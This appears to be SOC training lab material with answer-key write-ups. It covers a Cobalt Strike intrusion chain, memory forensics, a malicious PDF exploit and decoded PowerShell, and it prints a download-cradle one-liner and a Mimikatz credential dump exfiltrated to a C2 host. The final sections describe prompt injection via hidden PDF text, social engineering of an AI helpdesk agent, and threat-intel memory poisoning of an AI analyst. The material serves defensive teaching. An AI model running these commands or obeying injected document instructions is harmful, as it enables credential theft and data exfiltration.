Why Documentation Is Your Most Important Skill
Per the SOC Analyst First 90 Days Survival Guide: "Insufficient documentation of investigative findings can hinder incident response efforts. Thorough documentation ensures that investigative insights are preserved and shared across security teams." In this lab, analysis notes are required before every triage decision: escalation included. This habit is what separates analysts who can reconstruct an incident at 2 AM six months later from those who cannot.
The Six-Step Investigation Framework
From the SOC Alert Investigation Playbook: "Regardless of which security tools exist within the environment, the investigative methodology remains largely consistent." These six steps apply to every alert.
Understand the Detection
What rule or behavior triggered this alert? Identify the affected entity, timestamp, severity, and detection logic. Alerts often fire on legitimate activity that resembles malicious patterns: understand the detection context before progressing.
Pivot into Entity Telemetry
Examine activity on the affected device or account 15 to 30 minutes before and after the alert. Alerts represent a single observable action within a broader chain of events. Pull endpoint timeline, authentication logs, or network activity.
Analyze Process Execution Chains
Examine parent-child process relationships. PowerShell launched by Word may indicate a malicious macro. Review command-line arguments for encoded commands, suspicious URLs, or obfuscated payloads.
Examine Network Communication
Attackers must eventually communicate with external infrastructure. Check whether the affected device established connections to unfamiliar external IPs or domains. Correlate network activity with endpoint process execution.
Evaluate Identity Activity
Examine authentication behavior for the user account involved. Look for logins from unexpected locations, authentication to multiple systems in rapid succession, or administrative actions the user does not normally perform.
Reconstruct the Timeline
Document the sequence of events from the earliest suspicious activity. Transform scattered events into an investigative narrative that can stand alone in a legal proceeding or a 3 AM handoff.
The Three Investigative Questions
Anchor every alert review to these three questions before forming any conclusion:
Documentation Standards: Good vs Weak
Alert Severity Levels
| LOG SOURCE | KEY EVENTS | BEST FOR |
|---|---|---|
| Windows Security Log | 4624 logon, 4625 failed logon, 4648 explicit creds, 4688 process creation, 4698 task created, 4720 account created, 4769 Kerberos ticket | Authentication, account changes, Kerberoasting, lateral movement |
| Sysmon | Event 1 process create, 3 network connect, 6 driver load, 7 image load, 8 create remote thread, 10 process access, 11 file create | Full process telemetry, injection detection, C2 connections |
| PowerShell / Event 4104 | Script block content decoded before execution, command history | Obfuscation bypass, download cradle detection, encoded command analysis |
| AWS CloudTrail | Every API call with identity, source IP, region, resource, and result | IAM abuse, S3 access, privilege escalation, cloud backdoors |
| Entra ID / AAD Sign-in | Authentication protocol, MFA result, location, device compliance, risk score | Credential attacks, legacy auth bypass, impossible travel, OAuth grants |
| Firewall / Proxy | Source, destination, port, protocol, bytes, action, duration | C2 beacon detection, data exfiltration, policy violations, DNS tunneling |
| DNS Logs | Query, response, TTL, client, resolver, domain age | C2 via DNS, DGA detection, DNS tunneling, IOC matching |
Anomalies at each stage: (1) Excel spawning cmd.exe is T1059.003 and indicates a malicious macro executed in the spreadsheet. Legitimate Excel workflows do not spawn command shells. (2) cmd.exe spawning powershell.exe is a common attacker pivot to gain a more capable execution environment. (3) powershell.exe spawning a binary named svch0st32.exe is the critical indicator: the name mimics svchost.exe (legitimate Windows system process) but uses a zero in place of the letter o and adds "32" as a suffix. This is process name masquerading (T1036.004). (4) svch0st32.exe spawning a child of itself indicates it may be performing process injection or spawning a staged payload. MITRE techniques: T1059.003 (Windows Command Shell), T1059.001 (PowerShell), T1036.004 (Masquerade Task or Service), T1055 (Process Injection candidate).
The two key indicators: (1) PAGE_EXECUTE_READWRITE protection on both memory regions. Legitimate code regions in a process are typically PAGE_EXECUTE_READ (code pages) or PAGE_READWRITE (data pages). Memory that is simultaneously executable, readable, and writable is the signature of shellcode injection or reflective DLL loading. Legitimate processes almost never require RWX pages. (2) MZ header (4d 5a) at the start of the first region. The MZ header is the Windows PE file magic bytes, meaning a full executable or DLL has been loaded into this memory region from outside the normal loader. This is reflective DLL injection. The second region contains x64 shellcode matching the Cobalt Strike loader pattern (the fc 48 83 e4 f0 sequence is the standard Cobalt Strike x64 shellcode prologue for stack alignment and API hashing). Framework: Cobalt Strike (T1055 Process Injection, T1218.011 Rundll32 or reflective loader variant).
(1) svch0st32.exe connected to 185.220.101.42:4444 (ESTABLISHED). Port 4444 is the Metasploit and Cobalt Strike default listener port. This is the active C2 session: the injected Cobalt Strike beacon is in live communication with the attacker. The 185.220.101.42 address should be cross-referenced against threat intelligence: this range is commonly associated with Tor exit nodes and C2 infrastructure. (2) powershell.exe connected to 185.220.101.42:443 (TIME_WAIT). This was the initial download connection: powershell.exe downloaded the Cobalt Strike payload before injecting it into svch0st32.exe. TIME_WAIT means the connection recently closed, consistent with the download-then-inject sequence. (3) WmiPrvSE.exe has two ESTABLISHED connections to internal hosts on port 445 (SMB). WmiPrvSE.exe is the WMI provider host. SMB connections from WMI indicate the attacker is already using WMI for lateral movement to at least two additional internal hosts (10.10.0.50 and 10.10.0.51). The attack has progressed beyond this single endpoint. This changes the incident from a single endpoint compromise to an active lateral movement investigation.
09:14:01 - EXCEL.EXE launches (user opened malicious spreadsheet) - T1566.001
09:14:22 - Excel spawns cmd.exe (macro executed a shell command) - T1059.003
09:14:23 - cmd.exe spawns powershell.exe (elevated execution environment) - T1059.001
09:14:44 - powershell.exe downloads Cobalt Strike payload from 185.220.101.42:443 and spawns svch0st32.exe (masquerading svchost.exe) - T1036.004, T1105
09:14:52 - svch0st32.exe injects Cobalt Strike beacon (RWX + MZ header in memory) - T1055
09:14:52+ - C2 session established to 185.220.101.42:4444 - T1071.001
09:28:17 - WMI lateral movement initiated to 10.10.0.50 and 10.10.0.51 - T1021.006, T1047
Containment priorities: (1) Isolate HR-WKS-044 if not already done, plus 10.10.0.50 and 10.10.0.51 immediately. (2) Block 185.220.101.42 at perimeter. (3) Acquire memory from the two lateral movement target hosts before rebooting them. (4) Identify the Excel file that was opened, find all recipients. (5) Check authentication logs for accounts active on HR-WKS-044 and rotate those credentials.
File: Acme_Supplier_Contract_Q1_2024.pdf
SHA256: 9f8e7d6c5b4a3c2d1e0f9a8b7c6d5e4f3a2b1c0d9e8f7a6b5c4d3e2f1a0b9c8
| Property | Value | Assessment |
|---|---|---|
| File Type | PDF 1.7 | Expected |
| File Size | 847,312 bytes | Unusually large for contract |
| Creator | Adobe InDesign 17.0 | Plausible |
| Creation Date | 2024-03-13 23:44:12 UTC | Created 1 day before sent |
| Embedded JavaScript | YES - 3 scripts | Malicious indicator |
| Embedded Streams | Encrypted (FlateDecode+RC4) | Obfuscation |
| OpenAction | /JavaScript launch on open | Auto-execution on open |
| VirusTotal | 31/94 engines | Confirmed malicious |
Three most critical indicators: (1) OpenAction JavaScript triggering cmd.exe on document open: any PDF that auto-executes code when opened is exploiting the reader, not presenting a contract. (2) CVE-2023-21608 confirmed triggered in sandbox: a real security vulnerability was exploited, confirming this is purpose-built malware rather than a misconfigured document. (3) Stage2 PE download followed by Cobalt Strike C2 beacon: the attack chain is complete and the endpoint is now under attacker control if the file was opened.
Immediate actions: Block 185.220.101.77 at perimeter. Block the sender domain at email gateway. Identify all recipients of the same email using sender domain and subject search. Force Adobe Reader patch for CVE-2023-21608 across all endpoints. If any user opened the file: isolate their endpoint, treat as Cobalt Strike C2 compromise, initiate incident response.
MITRE: T1566.001 (Spearphishing Attachment), T1059.003 (Windows Command Shell via PDF OpenAction), T1190 (Exploit Public-Facing Application / CVE-2023-21608), T1105 (Ingress Tool Transfer), T1547.001 (Registry Run Keys Persistence), T1562.001 (Disable Security Tools), T1071.001 (C2 via HTTPS).
IEX (New-Object System.Net.WebClient).DownloadString('https://cd2-infra-cdn[.]net/init')This is a download cradle: a PowerShell one-liner that downloads a script from an external URL and immediately executes it in memory using IEX (Invoke-Expression). The encoding obscures the malicious URL from simple string-matching detection. Key indicators: (1) IEX executes downloaded content without touching disk (fileless technique, T1059.001). (2) The URL cd2-infra-cdn[.]net uses a CDN-impersonation domain name to blend in with legitimate traffic. (3) The -WindowStyle Hidden flag prevents a visible PowerShell window. (4) -ExecutionPolicy Bypass explicitly bypasses PowerShell execution policy, confirming this is not a legitimate administrative script.
sekurlsa::logonpasswords (a Mimikatz command for credential dumping from LSASS)End-to-end flow: (1) The Mimikatz command sekurlsa::logonpasswords is stored as a Base64-encoded string and decoded at runtime to avoid static detection. (2) A new PowerShell subprocess is spawned to execute the decoded Mimikatz command with output captured via standard output redirection. (3) The output (which contains cleartext credentials and NTLM hashes from LSASS) is captured, Base64-encoded, and HTTP POST uploaded to https://cd2-infra-cdn[.]net/collect.
What is being exfiltrated: All credentials currently cached in LSASS on FINANCE-WKS-007: cleartext passwords, NTLM hashes, and Kerberos tickets for every user who has logged in since the last reboot. This is MITRE T1003.001 (LSASS Memory Dumping) plus T1041 (Exfiltration Over C2 Channel).
Critical finding: The same C2 domain (cd2-infra-cdn[.]net) appears in both script blocks 1 and 2. This is the same attacker infrastructure used for initial payload delivery and credential exfiltration. Every credential on this endpoint should be treated as compromised.
Credential significance: The script uses ACMECORP\svc_backup with the cleartext password P@ssw0rd2024!. This is the SQL backup service account. The attacker obtained this credential from the LSASS dump in script block 2. SVC_SQLBackup is a domain-joined service account with SMB access to multiple systems (it needs read access for backup operations). The attacker is using harvested service account credentials for WinRM-based lateral movement, bypassing the need for admin credentials on each target.
Incident scope: Five additional hosts (10.10.4.10 through 10.10.4.14) have likely received and executed svcupd.exe (the Cobalt Strike agent). The incident is no longer a single endpoint: it is a multi-host compromise. All five target hosts must be immediately investigated.
Immediate actions: (1) Disable the svc_backup account in Active Directory immediately. (2) Isolate all five target hosts. (3) Check if WinRM (port 5985/5986) is enabled on those hosts: if so, the lateral movement almost certainly succeeded. (4) Check the credential dump output to identify every other credential that may have been harvested in script block 2 and initiate rotation for all of them. (5) Treat this as a domain-wide credential compromise requiring full Active Directory password rotation.
Why it worked: The AI agent was designed to read and process untrusted external documents (vendor contracts) and blindly execute instructions it found in those documents as if they were system-level commands. The attacker hid injection instructions using invisible text (white text, near-zero opacity) that the LLM reads in the extracted text but that a human reviewer would not see in the PDF viewer. The agent had no distinction between trusted system instructions and untrusted document content.
Data exfiltrated: 847 employee records including names, email addresses, salaries, and Social Security Numbers. This likely triggers breach notification obligations under multiple state laws and potentially HIPAA if the employees include healthcare workers.
Three preventive architectural controls: (1) Principle of least privilege for agent tool access: a contract processing agent has no legitimate reason to query the employee database or read HR files. Tool access should be scoped to the specific files being processed, not the full filesystem and all databases. (2) Input validation and sanitization layer: a separate, constrained model or rules engine should screen document content before the main agent processes it, flagging any content that contains instruction-override patterns. (3) Output approval gate for sensitive actions: sending external email should require human approval when the recipient is not on an approved list and the attachment contains data from sensitive databases. The agent should be able to draft but not send without confirmation.
Without the policy checks: The agent would have reset the admin_svc password, enabled the previously-disabled service account, and sent the new password to an external Gmail address. This would give an unauthorized external party administrative access to a service account. The "add recovery email" request would have established persistent access that survives future password rotations. The attacker would have achieved full account takeover of a privileged service account by submitting a plausible-sounding support ticket.
Suspicious indicators before any tool calls: (1) The ticket was submitted from an external Gmail address: legitimate contractors use corporate email or a documented partner portal. (2) The account being requested (admin_svc@acmecorp.com) is clearly a service account name, not a human user account: contractors do not have service accounts. (3) Asking for a new password to be sent to a personal Gmail address is not a legitimate password reset procedure in any enterprise environment. (4) "Please add my gmail to the account as a recovery email" is an explicit account persistence mechanism request that no legitimate IT policy would fulfill. (5) The urgency framing ("I have a deadline") is a social engineering pressure tactic designed to bypass deliberate evaluation.
The attack chain: (1) The attacker published a fake threat intelligence JSON feed at malicious-ti-feed[.]net containing fabricated "cleared" classifications for their active C2 infrastructure (185.220.101.42, update-svc[.]net, cd2-infra-cdn[.]net: all domains seen in the earlier scenarios). (2) The AI threat analyst ingested this feed as part of its routine TI aggregation. (3) The fabricated classifications were written to the agent vector memory database as trusted intelligence. (4) When generating the daily briefing, the AI retrieved these memory entries as context and used them to recommend removing the attacker C2 infrastructure from watchlists. (5) If acted on, this would have blinded the SOC to the ongoing Cobalt Strike campaign identified in the memory forensics and PowerShell labs.
Memory poisoning in context: Vector database memory for AI agents stores prior findings as embeddings that influence future reasoning. Unlike a human analyst who maintains professional skepticism about individual source claims, an AI agent may retrieve poisoned memory entries with the same confidence as legitimate ones because they were written by the "trusted" TI parsing process. The memory becomes the ground truth for the agent reasoning.
Cascading real-world consequences: (1) The Cobalt Strike C2 infrastructure (already confirmed active in the previous scenarios) would have been removed from watchlists and alerts suppressed. (2) The active multi-host compromise identified in the PowerShell lab would have lost its most critical network-level detection layer. (3) Analysts would have received authoritative briefings from their AI tool actively guiding them away from the real attack. (4) Future incidents involving the same infrastructure would generate no alerts, giving the attacker effectively persistent undetected access. (5) The trust in the AI briefing tool itself would be weaponized: the attacker understood that analysts would defer to the AI recommendation for known-flagged indicators.